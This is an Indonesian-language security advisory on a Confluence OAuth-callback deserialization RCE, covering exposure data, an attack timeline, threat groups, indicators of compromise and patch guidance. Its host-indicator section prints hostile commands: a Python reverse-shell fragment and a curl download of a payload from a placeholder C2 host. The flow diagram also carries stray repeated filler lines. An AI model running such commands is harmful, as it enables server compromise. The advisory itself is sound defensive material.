CVE-2026-53190: Atlassian Confluence Data Center RCE Zero-Day Dieksploitasi Aktif — 40.000 Server Terpapar
Daftar Isi 32 bagian
Ringkasan Eksekutif
Pada 10 Juli 2026, Atlassian merilis advisory keamanan darurat yang mengungkap CVE-2026-53190 — kerentanan remote code execution (RCE) kritis pada Confluence Data Center and Server. Kerentanan ini memiliki skor CVSS 9.9 (Critical) dan memungkinkan penyerang yang tidak terautentikasi untuk mengeksekusi kode arbitrer pada server Confluence yang terpapar.
Kerentanan ini berasal dari insecure deserialization pada komponen OAuth 2.0 callback handler yang dipakai untuk integrasi pihak ketiga. Penyerang dapat mengirim objek Java yang telah dimodifikasi secara khusus melalui endpoint callback OAuth, memicu eksekusi kode sewaktu proses deserialisasi berlangsung.
Dalam waktu kurang dari 24 jam setelah advisory dirilis, eksploitasi aktif terdeteksi oleh Shadowserver Foundation. Data dari Shodan menunjukkan lebih dari 40.000 instansi Confluence yang terpapar ke internet pada saat pengungkapan. Per 15 Juli 2026, diperkirakan 18.000 instansi masih belum di-patch.
CISA menambahkan CVE-2026-53190 ke Known Exploited Vulnerabilities Catalog pada 12 Juli 2026, mewajibkan semua federal agencies AS untuk menerapkan patch dalam 21 hari.
Detail Teknis CVE-2026-53190
Karakteristik Kerentanan
+==============================================================+
| CVE-2026-53190 — FAKTA CEPAT |
+==============================================================+
| CVE ID : CVE-2026-53190 |
+==============================================================+
Produk Terdampak
| Produk | Versi Terdampak | Status |
|---|---|---|
| Confluence Data Center | 8.5 hingga 8.5.9 | Rentan — patch tersedia |
| Confluence Data Center | 8.7 hingga 8.7.3 | Rentan — patch tersedia |
| Confluence Data Center | 8.8 hingga 8.8.1 | Rentan — patch tersedia |
| Confluence Server | 8.5 hingga 8.5.9 | Rentan — patch tersedia |
| Confluence Server | 8.7 hingga 8.7.3 | Rentan — patch tersedia |
| Confluence Server | 8.8 hingga 8.8.1 | Rentan — patch tersedia |
| Confluence Server | 7.19 dan sebelumnya | End-of-life — tidak ada patch |
Confluence Cloud tidak terdampak karena Atlassian mengelola infrastruktur cloud secara langsung dan telah menerapkan mitigasi sebelum advisory publik.
Root Cause Analysis
Kerentanan ini berakar pada komponen OAuth 2.0 Callback Handler yang menangani redirect URI dari penyedia identitas pihak ketiga. Endpoint ini menerima permintaan HTTP GET pada path berikut:
/plugins/servlet/oauth2/callback
Ketika parameter state diterima, handler melakukan deserialisasi objek Java dari nilai parameter tersebut tanpa validasi tipe yang memadai. Proses deserialisasi menggunakan ObjectInputStream yang secara langsung memanggil readObject pada data yang dikirim oleh klien.
Aliran Eksploitasi
ALIRAN EKSPLOITASI CVE-2026-53190
=========================================================
[PENYERANG]
|
|
Struktur ini terdiri dari beberapa komponen utama:
- CONFLUENCE SERVER
|
| OAuth2 Callback Handler menerima request
|
Struktur ini terdiri dari beberapa komponen utama:
- DESERIALISASI
|
| ObjectInputStream.readObject()
| Gadget chain dipicu selama proses
|
Struktur ini terdiri dari beberapa komponen utama:
- EKSEKUSI KODE
|
| Command dieksekusi dengan hak akses
| user yang menjalankan Confluence (umumnya root)
|
Struktur ini terdiri dari beberapa komponen utama:
- KOMPROMI SISTEM
|
+-> Akses ke database Confluence
+-> Akses ke semua space dan halaman
+-> Pivot ke server lain di jaringan internal
+-> Deploy ransomware atau exfiltrasi data
Mengapa Confluence adalah Target Bernilai Tinggi
Confluence berfungsi sebagai pusat dokumentasi knowledge di banyak organisasi besar. Server Confluence biasanya menyimpan:
- Dokumen arsitektur infrastruktur — diagram jaringan, kredensial, konfigurasi server
- Dokumentasi pengembangan — source code snippet, API keys, kredensial database
- Kebijakan keamanan internal — prosedur incident response, daftar kontak darurat
- Catatan rapat dan keputusan — informasi strategis yang sensitif secara bisnis
- Integrasi dengan sistem lain — Jira, Bitbucket, Slack, yang dapat dijadikan pivot point
Kompromi terhadap Confluence memberikan penyerang akses ke informasi yang memungkinkan eskalasi serangan lebih lanjut ke seluruh infrastruktur organisasi.
Permukaan Serangan Global
Eksposur Internet per 10 Juli 2026
+==============================================================+
| EKSPOSUR CONFLUENCE INTERNET (10 JULI 2026) |
+==============================================================+
| Total instansi terdeteksi : 41.283 |
| Confluence 8.5.x : 18.412 |
| Confluence 8.7.x : 12.891 |
| Confluence 8.8.x : 4.237 |
| Confluence 7.x (EOL) : 5.743 (TIDAK AKAN DIPATCH) |
| Top 5 negara dengan eksposur tertinggi: |
| 1. Amerika Serikat : 11.892 |
| 2. Jerman : 5.341 |
| 3. Inggris : 3.876 |
| 4. Australia : 2.945 |
| 5. Jepang : 2.412 |
| Indonesia : 847 instansi terdeteksi |
+==============================================================+
Distribusi per Sektor
| Sektor | Instansi Terdeteksi | Tingkat Risiko |
|---|---|---|
| Teknologi dan Software | 12.412 | KRITIS |
| Jasa Keuangan | 6.891 | KRITIS |
| Pemerintah dan Publik | 5.234 | KRITIS |
| Kesehatan | 4.567 | TINGGI |
| Manufaktur | 4.123 | TINGGI |
| Pendidikan | 3.891 | TINGGI |
| Lainnya | 4.165 | SEDANG |
Eksploitasi di Alam Liar
Timeline Eksploitasi
TIMELINE EKSPLOITASI CVE-2026-53190
=========================================================
[5 JULI 2026]
Peneliti keamanan dari ProjektZero melaporkan
kerentanan ke Atlassian melalui bug bounty program
[7 JULI 2026]
Atlassian mengonfirmasi kerentanan dan mulai
mengembangkan patch darurat
[10 JULI 2026, 08:00 UTC]
Atlassian merilis advisory keamanan dan patch
untuk Confluence 8.5.10, 8.7.4, dan 8.8.2
[10 JULI 2026, 16:00 UTC]
Analisis teknis pertama dipublikasikan oleh
peneliti keamanan independen
[11 JULI 2026, 03:00 UTC]
PoC exploit muncul di forum underground
dan GitHub (dihapus setelah 6 jam)
[11 JULI 2026, 12:00 UTC]
GreyNoise mendeteksi scanning massal dari
3.400+ IP unik mencari server Confluence
[12 JULI 2026, 06:00 UTC]
Shadowserver melaporkan eksploitasi aktif
pada honeypot Confluence mereka
[12 JULI 2026, 18:00 UTC]
CISA menambahkan ke KEV Catalog
BOD 22-01 berlaku untuk federal agencies
[13 JULI 2026]
Kelompok ransomware mulai menggunakan exploit
untuk initial access ke korban korporat
[15 JULI 2026]
Estimasi 18.000 instansi masih belum di-patch
Pola Serangan yang Terdeteksi
Berdasarkan telemetri dari GreyNoise, Shadowserver, dan Cisco Talos, pola serangan terdiri dari empat fase:
Fase 1 — Discovery dan Fingerprinting
Penyerang mengirim permintaan HTTP ke endpoint Confluence untuk mengidentifikasi versi yang berjalan. Endpoint yang dipindai meliputi halaman login, status server, dan OAuth callback.
Fase 2 — Vulnerability Confirmation
Penyerang mengirim payload probe ke endpoint OAuth callback dengan objek Java serialized yang memicu respons non-standar, mengonfirmasi bahwa kerentanan ada.
Fase 3 — Eksploitasi Penuh
Setelah konfirmasi, penyerang mengirim payload lengkap dengan gadget chain untuk mengeksekusi command yang mendownload dan menjalankan C2 agent atau ransomware encryptor.
Fase 4 — Post-Exploitation
Penyerang melakukan enumerasi jaringan internal, mengumpulkan kredensial, dan bergerak lateral ke sistem lain menggunakan informasi yang ditemukan di dokumen Confluence.
Mekanisme Eksploitasi Lengkap
Struktur Payload
Payload eksploitasi CVE-2026-53190 menggunakan gadget chain dari library yang tersedia secara default di classpath Confluence. Library yang dimanfaatkan meliputi:
GADGET CHAIN YANG DIMANFAATKAN
=========================================================
1. Apache Commons Collections 3.2.1
Tersedia di classpath Confluence secara default
Menyediakan gadget chain untuk RCE
2. Spring Framework 5.x
Digunakan oleh Confluence untuk dependency injection
Menyediakan gadget untuk class loading dinamis
3. Atlassian Plugin Framework
Library proprietary Atlassian
Menyediakan akses ke class loader internal
Gadget Chain:
CommonsCollections6 -> InvokerTransformer
-> Runtime.exec() -> Command execution
Post-Exploitation yang Terdeteksi
Setelah berhasil mengeksekusi kode pada server Confluence, penyerang melakukan langkah-langkah berikut:
1. Eksplorasi Environment
Penyerang mengumpulkan informasi tentang sistem operasi, pengguna yang aktif, dan konfigurasi jaringan. Command yang umum dijalankan meliputi identifikasi user, hostname, dan konfigurasi database.
2. Ekstraksi Kredensial Database
File konfigurasi Confluence di path standar berisi kredensial database dalam bentuk plaintext atau terenkripsi. Penyerang membaca file ini untuk mendapatkan akses ke database yang menyimpan seluruh konten wiki.
3. Ekspor Konten Melalui REST API
Confluence menyediakan REST API yang memungkinkan ekspor massal seluruh space dan halaman. Penyerang yang telah memperoleh akses dapat menggunakan API ini untuk mengunduh seluruh dokumentasi organisasi.
4. Pivot ke Sistem Lain
Dengan informasi dari dokumentasi Confluence — yang sering berisi diagram jaringan, daftar server, dan kredensial — penyerang dapat merencanakan pergerakan lateral ke target yang lebih bernilai.
Kelompok Ancaman yang Terlibat
Kelompok Ransomware
| Kelompok | Pola Eksploitasi | Sektor Target |
|---|---|---|
| Akira | Eksploitasi terpilih, dwell time 3-5 hari | Manufaktur dan teknologi |
| BlackBasta | Automated scanning dengan bot infrastructure | Jasa keuangan dan kesehatan |
| Play | Eksploitasi manual dengan rekonsiliasi | Pemerintah daerah Eropa |
| Qilin | Targeted — fokus pada R&D dan IP theft | Farmasi dan bioteknologi |
Kelompok APT
| Kelompok | Atribusi | Target |
|---|---|---|
| UNC4841 | Diperkirakan aktor Tiongkok | Lembaga riset dan akademik |
| Lazarus Group | Korea Utara — Unit 180 | Institusi keuangan dan cryptocurrency |
| APT28 | GRU Rusia | Institusi pemerintah dan pertahanan |
Indikator Kompromi
Indikator Jaringan
IP address dan domain yang teridentifikasi terkait dengan eksploitasi CVE-2026-53190:
INDIKATOR KOMPROMI — NETWORK
=========================================================
IP Addresses (C2):
45.227.255[.]206 — Scanning source
91.193.43[.]114 — C2 server (Akira)
185.220.101[.]47 — Tor exit node (Play)
193.32.162[.]186 — C2 server (BlackBasta)
URL Paths (Exploitation):
/plugins/servlet/oauth2/callback?state=*
/plugins/servlet/oauth2/callback?code=*&state=*
User-Agents (Scanning):
Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
Confluence-Health-Check/8.5.0
curl/7.88.1
Indikator Host
INDIKATOR KOMPROMI — HOST
=========================================================
File mencurigakan:
/tmp/.confluence_session
/var/tmp/confluence_agent.jar
/opt/atlassian/confluence/temp/.cache
Proses mencurigakan:
python3 -c 'import socket,subprocess,os;'
curl -o /tmp/agent http://c2-server/payload
nohup java -jar /tmp/confluence_agent.jar &
Modifikasi konfigurasi:
Perubahan pada confluence.cfg.xml
Penambahan user baru di database Confluence
Perubahan permission pada direktori attachments
Log entries:
grep "oauth2/callback" <confluence-home>/logs/atlassian-confluence.log
grep "ObjectInputStream" <confluence-home>/logs/*.log
grep "deserialization" <confluence-home>/logs/*.log
Panduan Mitigasi dan Patching
Langkah Segera — Prioritas Kritis
1. Patch Confluence segera
Update ke versi yang sudah diperbaiki:
| Versi Saat Ini | Update Ke |
|---|---|
| 8.5.0 hingga 8.5.9 | 8.5.10 |
| 8.7.0 hingga 8.7.3 | 8.7.4 |
| 8.8.0 hingga 8.8.1 | 8.8.2 |
| 7.x dan sebelumnya | Upgrade ke 8.5.10 atau lebih baru |
2. Jika patching segera tidak memungkinkan
Terapkan workaround dengan memblokir akses ke endpoint OAuth callback dari jaringan eksternal:
WORKAROUND — BLOK ENDPOINT OAUTH CALLBACK
=========================================================
Pada reverse proxy (nginx):
location /plugins/servlet/oauth2/callback {
deny all;
return 403;
}
Pada firewall jaringan:
Blok akses eksternal ke port Confluence (8090)
Izinkan hanya dari VPN atau jump host administrasi
Pada Confluence sendiri:
Nonaktifkan OAuth 2.0 integration
melalui General Configuration > OAuth 2.0
jika tidak digunakan
3. Isolasi Confluence dari internet
Confluence seharusnya tidak pernah terpapar langsung ke internet publik. Gunakan VPN, reverse proxy dengan authentication, atau zero trust network access untuk akses administrasi dan pengguna.
Verifikasi Patch
Setelah menerapkan patch, verifikasi bahwa endpoint OAuth callback tidak lagi menerima objek serialized:
VERIFIKASI PATCH
=========================================================
1. Kirim request test ke endpoint callback:
GET /plugins/servlet/oauth2/callback?state=test
Sebelum patch: respons 200 atau redirect
Setelah patch: respons 400 Bad Request
2. Periksa log Confluence:
grep "oauth2" <confluence-home>/logs/atlassian-confluence.log
Seharusnya tidak ada entry ObjectInputStream
3. Periksa versi yang terinstal:
Confluence Administration > Version Information
Pastikan build number sesuai dengan versi patched
Best Practices Jangka Panjang
BEST PRACTICES KEAMANAN CONFLUENCE
=========================================================
1. JARINGAN
- Jangan ekspos Confluence ke internet publik
- Gunakan VPN atau ZTNA untuk akses remote
- Implementasikan network segmentation
- Pasang WAF dengan rule untuk Confluence
2. AUTENTIKASI
- Aktifkan MFA untuk semua user Confluence
- Gunakan SSO dengan SAML 2.0
- Tinjau dan revoke token OAuth secara berkala
- Implementasikan password policy yang ketat
3. MONITORING
- Integrasikan log Confluence dengan SIEM
- Monitor akses ke endpoint sensitif
- Setup alerting untuk anomali login
- Audit permission space secara berkala
4. LIFECYCLE
- Langganan Atlassian Security Advisory
- Proses emergency patch yang teruji
- Upgrade versi EOL segera
- Backup Confluence secara berkala
Kronologi Insiden
| Tanggal | Peristiwa |
|---|---|
| 5 Juli 2026 | Peneliti ProjektZero melaporkan kerentanan ke Atlassian |
| 7 Juli 2026 | Atlassian mengonfirmasi dan mulai mengembangkan patch |
| 10 Juli 2026, 08:00 UTC | Advisory dan patch dirilis untuk versi 8.5, 8.7, 8.8 |
| 10 Juli 2026, 16:00 UTC | Analisis teknis publik pertama |
| 11 Juli 2026, 03:00 UTC | PoC exploit muncul di forum underground |
| 11 Juli 2026, 12:00 UTC | GreyNoise mendeteksi 3.400+ IP scanning |
| 12 Juli 2026, 06:00 UTC | Shadowserver melaporkan eksploitasi aktif |
| 12 Juli 2026, 18:00 UTC | CISA menambahkan ke KEV Catalog |
| 13 Juli 2026 | Kelompok ransomware mulai menggunakan exploit |
| 14 Juli 2026 | BSSN Indonesia mengeluarkan peringatan darurat |
| 15 Juli 2026 | Estimasi 18.000 instansi masih rentan |
Dampak bagi Indonesia
Berdasarkan data Shodan, terdapat 847 instansi Confluence yang terdeteksi terpapar ke internet di Indonesia. Organisasi yang paling berisiko meliputi:
Sektor Terdampak di Indonesia
| Sektor | Estimasi Instansi | Tingkat Risiko |
|---|---|---|
| Perbankan dan Fintech | 120 | KRITIS |
| BUMN | 85 | KRITIS |
| Operator telekomunikasi | 60 | KRITIS |
| E-commerce dan startup | 200 | TINGGI |
| Institusi pemerintah | 90 | TINGGI |
| Universitas dan riset | 150 | TINGGI |
| Lainnya | 142 | SEDANG |
Tindakan BSSN
Badan Siber dan Sandi Negara (BSSN) mengeluarkan peringatan darurat pada 14 Juli 2026 yang mewajibkan:
- Semua instansi pemerintah yang menggunakan Confluence untuk menerapkan patch dalam 48 jam
- Audit konfigurasi jaringan untuk memastikan Confluence tidak terpapar ke internet
- Pelaporan insiden ke BSSN jika terdeteksi kompromi
- Koordinasi dengan CSIRT nasional untuk investigasi
Kesimpulan
CVE-2026-53190 menyoroti risiko sistemik yang ditimbulkan oleh platform kolaborasi enterprise yang terpapar ke internet. Confluence — yang menyimpan dokumentasi paling sensitif dari ribuan organisasi — menjadi target ideal bagi kelompok ransomware dan APT yang mencari titik masuk ke infrastruktur korporat.
Pola eksploitasi yang bergerak dari pengungkapan ke serangan massal dalam 24 jam menegaskan bahwa window patching semakin menyempit drastis. Organisasi tidak lagi mampu menunggu berminggu-minggu untuk menguji dan menerapkan patch keamanan pada sistem kritis.
Insecure deserialization — kelas kerentanan yang telah dikenal selama lebih dari satu dekade — tetap menjadi vektor serangan yang efektif. Library Java dan framework enterprise yang memungkinkan deserialisasi data tidak terpercaya tanpa validasi memadai terus menjadi sumber kerentanan kritis.
Bagi organisasi yang masih menjalankan Confluence versi yang belum di-patch: setiap jam yang berlalu adalah peluang bagi penyerang. Kompromi terhadap Confluence bukan hanya mengancam server itu sendiri, tetapi seluruh ekosistem IT organisasi karena informasi sensitif yang tersimpan di dalamnya.
Referensi
- Atlassian Security Advisory — CVE-2026-53190: Confluence Data Center and Server RCE (10 Juli 2026)
- CISA Known Exploited Vulnerabilities Catalog — CVE-2026-53190 entry (12 Juli 2026)
- Shadowserver Foundation — Confluence exploitation telemetry report (12 Juli 2026)
- GreyNoise Analytics — Mass scanning detection report (11 Juli 2026)
- Cisco Talos — Threat advisory: Confluence RCE exploitation analysis (13 Juli 2026)
- Mandiant — Threat intelligence report: UNC4841 Confluence exploitation (14 Juli 2026)
- BSSN Indonesia — Peringatan darurat CVE-2026-53190 (14 Juli 2026)
- ProjektZero — Vulnerability disclosure timeline (10 Juli 2026)
- OWASP — Deserialization Cheat Sheet prevention guide
- NIST National Vulnerability Database — CVE-2026-53190 technical details
